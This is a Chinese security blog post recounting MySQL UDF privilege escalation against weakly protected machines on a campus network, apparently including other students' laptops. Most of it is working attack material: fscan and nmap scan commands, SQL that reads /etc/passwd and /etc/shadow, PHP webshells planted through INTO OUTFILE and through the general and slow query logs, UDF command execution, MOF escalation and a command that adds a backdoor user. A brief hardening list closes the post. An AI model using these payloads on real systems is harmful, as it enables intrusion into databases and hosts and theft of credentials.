记一次在校园网中的Mysql趣味udf提权

admin 2025年3月31日19:15:18评论9 views字数 4045阅读13分29秒阅读模式

免责声明本公众号 太乙Sec实验室 所提供的实验环境均是本地搭建,仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本公众号所提供的信息而进行的操作,所导致的直接或间接后果及损失,均由使用者本人负责。太乙Sec实验室及作者对此不承担任何责任

实验背景
翻了一下大一的笔记。以前在学校《PHP与mysql》课程,为便于学生快速上手开发,教师要求所有实验设备(机房主机 / 学生笔记本)统一配置 MySQL 数据库环境,默认密码设置为弱口令,并自启动开放 3306 端口。全系宿舍笔记本都是默认弱口令,一如既往的秀儿。

(注:本实验应在获得明确授权的教学网络环境中开展,严禁在生产环境进行类似操作)

信息收集
Nmap通过端口扫描快速锁定潜在 MySQL 服务,覆盖默认及非默认端口场景。
nmap -p- -sV --script=mysql-info 10.0.0.1 -T4
3306/tcp open  mysql| mysql-info: |   Protocol: 10|   Version: 8.0.29-0ubuntu0.20.04.3|   Thread ID: 12|   Capabilities flags: 63487|   Some Capabilities: LongColumnFlag, Support41Auth, Speaks41ProtocolNew, FoundRows, ConnectWithDatabase, InteractiveClient, IgnoreSigpipes, SupportsTransactions, Speaks41ProtocolOld, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, ODBCClient, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsAuthPlugins|   Status: Autocommit|   Salt: x17kx13Gx1D!Xx14wx1Cx1A^Cx7Fx3Ex1Cx1F|_  Auth Plugin Name: caching_sha2_password
fscan是一款功能强大的内网综合扫描工具,支持主机探测、端口扫描、服务爆破、漏洞利用等功能。以下是其核心使用方法及实战技巧:
//fscan 内网fscan.exe -h 192.168.x.x //默认使用全部模块fscan.exe -h 192.168.x.x -rf id_rsa.pub //redis 写私钥fscan.exe -h 192.168.x.x -c whoami //ssh爆破成功后,命令执行fscan.exe -h 192.168.x.x -m ms17010 //指定模块fscan.exe -h 192.168.x.x -m ssh -p 2222 //指定模块ssh和端口fscan.exe -h 192.168.x.x -h 192.168.1.1/24 //C段fscan.exe -h 192.168.x.x -h 192.168.1.1/16 //B段fscan.exe -h 192.168.x.x -h 192.168.1.1/8  //A段的192.x.x.1和192.x.x.254,方便快速查看网段信息fscan.exe -h 192.168.x.x -hf ip.txt //以文件导入
记一次在校园网中的Mysql趣味udf提权

MySQL弱口令爆破,使用sqlmap进行udf提权,执行系统命令

记一次在校园网中的Mysql趣味udf提权
记一次在校园网中的Mysql趣味udf提权
好家伙还有原神玩家!(PS:不能上CS)
记一次在校园网中的Mysql趣味udf提权
MySQL 文件读写机制与安全限制深度解析

一、文件读写核心限制:secure_file_priv

该参数控制MySQL文件导入/导出权限,是渗透测试中文件操作的关键限制。

查看方式:

sql SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';

输出示例:

+------------------+-------+| Variable_name    | Value |+------------------+-------+| secure_file_priv | NULL  |+------------------+-------+
  • 参数值含义:
版本范围 空字符串 指定目录 NULL 默认值
≥5.6.34 任意路径读写 仅限指定目录 完全禁止读写 Windows:NULLLinux:插件目录
<5.6.34 任意路径读写 仅限指定目录 - 空字符串

不可修改性:该参数为只读,无法通过SET GLOBAL修改,需在my.cnf配置文件中调整并重启服务:

  • ini
[mysqld]secure_file_priv = /var/lib/mysql-files/

二、文件读取:绕过限制的实战技巧

即使secure_file_priv=NULL,仍有方法读取关键文件:

1. 核心命令
LOAD_FILE()函数:sql SELECT LOAD_FILE('/etc/passwd');  -- 读取系统用户列表LOAD DATA INFILE语句:sql LOAD DATA INFILE '/etc/passwd' INTO TABLE users;  -- 将文件内容导入表
2. 高价值目标文件
文件类型 路径示例(Linux/Windows) 渗透价值
数据库配置文件 /etc/my.cnf

C:ProgramDataMySQLmy.ini

获取数据库密码、UDF插件目录
Web服务器配置 /etc/apache2/httpd.conf

C:xamppapacheconfhttpd.conf

定位网站根目录、虚拟主机设置
系统敏感文件 /etc/shadow

C:WindowsSystem32configSAM

获取系统用户哈希、破解密码
网络配置文件 /etc/network/interfaces

C:WindowsSystem32driversetchosts

分析内网结构、劫持域名解析

三、文件写入:突破防线的多种姿势

secure_file_priv允许时,可通过以下方式写入文件:

1. 常规写入:INTO OUTFILE

sql

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
  • 限制:
    • 目标目录需MySQL用户有写权限。
    • 文件不能已存在(除非FILE权限允许覆盖)。
2. 日志文件写入(绕过secure_file_priv

通过篡改MySQL日志路径写入WebShell:

-- 设置日志输出为文件SET GLOBAL log_output = 'FILE';-- 指定日志文件路径SET GLOBAL general_log_file = '/var/www/html/shell.php';-- 开启日志记录SET GLOBAL general_log = ON;-- 触发日志写入PHP代码SELECT '<?php eval($_POST["cmd"]); ?>';-- 关闭日志(避免留下过多痕迹)SET GLOBAL general_log = OFF;
3. 慢查询日志利用

写入更干净的WebShell:

SET GLOBAL slow_query_log = 1;SET GLOBAL slow_query_log_file = '/var/www/html/shell.php';SELECT '<?php system($_GET["cmd"]); ?>' FROM mysql.user WHERE SLEEP(10);

四、UDF提权:从数据库到系统权限

sql SELECT @@plugin_dir;  -- 输出示例:/usr/lib/mysql/plugin/上传UDF文件:若Web目录可写,通过SQL注入写入:sql SELECT 0x7F454C46... INTO DUMPFILE '/var/www/uploads/udf.so';使用sqlmap自动化上传:sqlmap -u "http://target.com/?id=1" --file-write=udf.so --file-dest=/usr/lib/mysql/plugin/udf.so创建UDF函数:sqlCREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';SELECT sys_exec('id > /tmp/exploit.txt');3. Windows提权技巧MOF提权(老旧但有效):利用c:/windows/system32/wbem/mof/目录的定时任务特性:sql SELECT 0x636C617373205769... INTO DUMPFILE 'C:\Windows\system32\wbem\mof\exploit.mof';启动项写入:sql SELECT 'net user hacker P@ssw0rd /add' INTO OUTFILE 'C:\Windows\Tasks\exploit.bat';

五、防御加固方案

禁用文件读写
secure_file_priv = NULL

(my.cnf)
禁止 LOAD_FILE/INTO OUTFILE
限制插件目录权限
Linux:chmod 750 /usr/lib/mysql/plugin/
防止恶意 UDF 插件上传
降权运行 MySQL 服务
Linux:user = mysql(my.cnf)
降低服务权限
网络访问控制
iptables -A INPUT -p tcp --dport 3306 -s 可信IP段 -j ACCEPT
限制访问来源
修改默认密码
ALTER USER 'root'@'%' IDENTIFIED BY '强密码';
防御弱密码攻击

原文始发于微信公众号(太乙Sec实验室):记一次在校园网中的Mysql趣味udf提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月31日19:15:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次在校园网中的Mysql趣味udf提权https://cn-sec.com/archives/3902736.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息